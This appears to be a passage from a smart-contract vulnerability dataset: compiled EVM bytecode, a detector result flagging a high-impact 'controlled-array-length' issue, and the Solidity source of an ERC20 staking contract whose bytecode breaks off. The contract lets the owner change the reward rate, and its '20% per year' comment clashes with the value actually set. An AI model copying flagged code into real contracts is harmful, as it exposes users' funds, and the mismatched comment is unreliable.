fffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600b60009054906101000a900460ff16156112d057600080fd5b6112d933611b63565b61134b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616c6c657220686173206e6f207065726d697373696f6e000000000000000081525060200191505060405180910390fd5b611355838361245c565b6001905092915050565b61136933826124f7565b50565b600660009054906101000a900460ff1681565b600061139582600561253290919063ffffffff16565b806113a557506113a482610fce565b5b9050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113fd33610fce565b61146f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61153a8282612610565b5050565b600b60009054906101000a900460ff161561155857600080fd5b61156133611b63565b6115d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616c6c657220686173206e6f207065726d697373696f6e000000000000000081525060200191505060405180910390fd5b6001600b60006101000a81548160ff021916908315150217905550565b6060600d80548060200260200160405190810160405280929190818152602001828054801561167457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161162a575b5050505050905090565b6116873361137f565b6116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616c6c657220686173206e6f207065726d697373696f6e000000000000000081525060200191505060405180910390fd5b6001600660006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561183b5780601f106118105761010080835404028352916020019161183b565b820191906000526020600020905b81548152906001019060200180831161181e57829003601f168201915b5050505050905090565b61184e33610fce565b6118c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6118d48160046126b790919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b61192333610fce565b611995576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6119a981600561238090919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f4aea7d7b9f1c782799f10f55c8dd49fbe23c0824d22887043ec8cb631e9289e560405160405180910390a250565b6000611a8a3384611a8585600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236090919063ffffffff16565b612156565b6001905092915050565b6000611aaf6001600d8054905061236090919063ffffffff16565b905090565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b4d57611b47838360006040519080825280601f01601f191660200182016040528015611b415781602001600182028038833980820191505090505b50611cbb565b50611b59565b611b578383612792565b505b6001905092915050565b6000611b7982600461253290919063ffffffff16565b80611b895750611b8882610fce565b5b9050919050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611bef33610fce565b611c61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b611c758160056126b790919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fc3957472ba41ba0725d850fd85857b6c5ea0070f71229e02b17fb370eb0abba760405160405180910390a250565b6000611cc78484610dd8565b611cd057600080fd5b8373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611da9578082015181840152602081019050611d8e565b50505050905090810190601f168015611dd65780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611df857600080fd5b505af1158015611e0c573d6000803e3d6000fd5b50505050600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611eab33610fce565b611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611fc0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4e6577206f776e657220697320746865207a65726f206164647265737300000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61208933610fce565b6120fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561219057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121ca57600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600080823b905060008111915050919050565b60008114612350576000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561232257612321826127a9565b5b600061233f82612331866113ac565b61236090919063ffffffff16565b141561234f5761234e8361286e565b5b5b61235b838383612aa2565b505050565b60008282111561236f57600080fd5b600082840390508091505092915050565b61238a8282612532565b6123df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612fdc6021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008082840190508381101561245257600080fd5b8091505092915050565b670de0b6b3a764000061247f82612471610e2b565b61243d90919063ffffffff16565b111561248a57600080fd5b600081141580156124da57506000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156124e9576124e8826127a9565b5b6124f38282612acc565b5050565b600061251482612506856113ac565b61236090919063ffffffff16565b1415612524576125238261286e565b5b61252e8282612af4565b5050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125b9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612ffd6022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61261a82826124f7565b6126b382336126ae84600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236090919063ffffffff16565b612156565b5050565b6126c18282612532565b15612734576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600061279f3384846122c8565b6001905092915050565b600d8190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506128286001600d8054905061236090919063ffffffff16565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6001600d805490501115612a3357600d6128976001600d8054905061236090919063ffffffff16565b815481106128a157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548154811061291857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c6000600d6129bf6001600d8054905061236090919063ffffffff16565b815481106129c957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a916001600d8054905061236090919063ffffffff16565b600d81612a9e9190612f8a565b5050565b600660009054906101000a900460ff1615612abc57600080fd5b612ac7838383612b1c565b505050565b600660009054906101000a900460ff1615612ae657600080fd5b612af08282612ce6565b5050565b600660009054906101000a900460ff1615612b0e57600080fd5b612b188282612e38565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b5657600080fd5b612ba7816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3a816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d2057600080fd5b612d358160025461243d90919063ffffffff16565b600281905550612d8c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e7257600080fd5b612ec3816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f1a8160025461236090919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b815481835581811115612fb157818360005260206000209182019101612fb09190612fb6565b5b505050565b612fd891905b80821115612fd4576000816000905550600101612fbc565b5090565b9056fe526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373a265627a7a723058209c41e05867cb73a42cf0e55d42fae5c3ca190bd61f78fa8bf24e75d5e150b91464736f6c634300050a0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,446 |
0x0eef6fbee34452f56ad21c150a2c0427a5a9b324
|
pragma solidity 0.6.11;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Staking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// trusted staking token contract address
address public constant trustedStakeTokenAddress = 0x66A9D899e8760B0aa897b9aD764e446CFc897C4B;
// trusted reward token contract address
address public constant trustedRewardTokenAddress = 0x80bb277f4355A43CDbB86a82F9876C946476d9Eb;
// reward rate 20.00% per year
uint public rewardRatePercentX100 = 1500e6;
uint public constant rewardInterval = 365 days;
uint public totalClaimedRewards = 0;
uint public stakingDuration = 365 days;
// admin can transfer out reward tokens from this contract one month after staking has ended
uint public adminCanClaimAfter = 395 days;
uint public stakingDeployTime;
uint public adminClaimableTime;
uint public stakingEndTime;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
constructor () public {
stakingDeployTime = now;
stakingEndTime = stakingDeployTime.add(stakingDuration);
adminClaimableTime = stakingDeployTime.add(adminCanClaimAfter);
}
// Admin can change APY% (or reward rate %)
// Changing reward rate percent will also affect user's pending earnings
// Be careful while using this function
function setRewardRatePercentX100(uint _rewardRatePercentX100) public onlyOwner {
rewardRatePercentX100 = _rewardRatePercentX100;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff;
uint _now = now;
if (_now > stakingEndTime) {
_now = stakingEndTime;
}
if (lastClaimedTime[_holder] >= _now) {
timeDiff = 0;
} else {
timeDiff = _now.sub(lastClaimedTime[_holder]);
}
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRatePercentX100)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function stake(uint amountToStake) public {
require(amountToStake > 0, "Cannot stake 0 Tokens");
require(Token(trustedStakeTokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unstake(uint amountToWithdraw) public {
require(amountToWithdraw > 0, "Cannot unstake 0 Tokens");
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
require(Token(trustedStakeTokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
// emergency unstake without caring about pending earnings
// pending earnings will be lost / set to 0 if used emergency unstake
function emergencyUnstake(uint amountToWithdraw) public {
require(amountToWithdraw > 0, "Cannot unstake 0 Tokens");
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
// set pending earnings to 0 here
lastClaimedTime[msg.sender] = now;
require(Token(trustedStakeTokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out staking tokens from this smart contract
// Admin can transfer out reward tokens from this address once adminClaimableTime has reached
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != trustedStakeTokenAddress, "Admin cannot transfer out Stake Tokens from this contract!");
require((_tokenAddr != trustedRewardTokenAddress) || (now > adminClaimableTime), "Admin cannot Transfer out Reward Tokens yet!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063965554b4116100de578063c326bf4f11610097578063d7130e1411610071578063d7130e141461070d578063f1af9e111461072b578063f2fde38b14610759578063f3f91fa01461079d57610173565b8063c326bf4f14610679578063ca7e0835146106d1578063d578ceab146106ef57610173565b8063965554b41461054f57806398896d101461056d5780639dcf4b28146105c5578063a694fc3a1461060f578063b410fdaa1461063d578063bec4de3f1461065b57610173565b8063583d42fd11610130578063583d42fd146103ab5780636270cd18146104035780636a395ccb1461045b5780638005a7de146104c95780638ac33487146104e75780638da5cb5b1461050557610173565b8063012ce501146101785780631911cf4a146101a65780632e17de781461030b578063308feec31461033957806331a5dda1146103575780634e71d92d146103a1575b600080fd5b6101a46004803603602081101561018e57600080fd5b81019080803590602001909291905050506107f5565b005b6101dc600480360360408110156101bc57600080fd5b810190808035906020019092919080359060200190929190505050610bbe565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561022b578082015181840152602081019050610210565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561026d578082015181840152602081019050610252565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102af578082015181840152602081019050610294565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102f15780820151818401526020810190506102d6565b505050509050019850505050505050505060405180910390f35b6103376004803603602081101561032157600080fd5b8101908080359060200190929190505050610ed7565b005b610341611265565b6040518082815260200191505060405180910390f35b61035f611276565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a961128e565b005b6103ed600480360360208110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611299565b6040518082815260200191505060405180910390f35b6104456004803603602081101561041957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b1565b6040518082815260200191505060405180910390f35b6104c76004803603606081101561047157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112c9565b005b6104d1611528565b6040518082815260200191505060405180910390f35b6104ef61152e565b6040518082815260200191505060405180910390f35b61050d611534565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610557611559565b6040518082815260200191505060405180910390f35b6105af6004803603602081101561058357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061155f565b6040518082815260200191505060405180910390f35b6105cd611733565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61063b6004803603602081101561062557600080fd5b810190808035906020019092919050505061174b565b005b610645611a50565b6040518082815260200191505060405180910390f35b610663611a56565b6040518082815260200191505060405180910390f35b6106bb6004803603602081101561068f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a5e565b6040518082815260200191505060405180910390f35b6106d9611a76565b6040518082815260200191505060405180910390f35b6106f7611a7c565b6040518082815260200191505060405180910390f35b610715611a82565b6040518082815260200191505060405180910390f35b6107576004803603602081101561074157600080fd5b8101908080359060200190929190505050611a88565b005b61079b6004803603602081101561076f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aeb565b005b6107df600480360360208110156107b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c3c565b6040518082815260200191505060405180910390f35b6000811161086b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f7420756e7374616b65203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610920576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b42600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507366a9d899e8760b0aa897b9ad764e446cfc897c4b73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff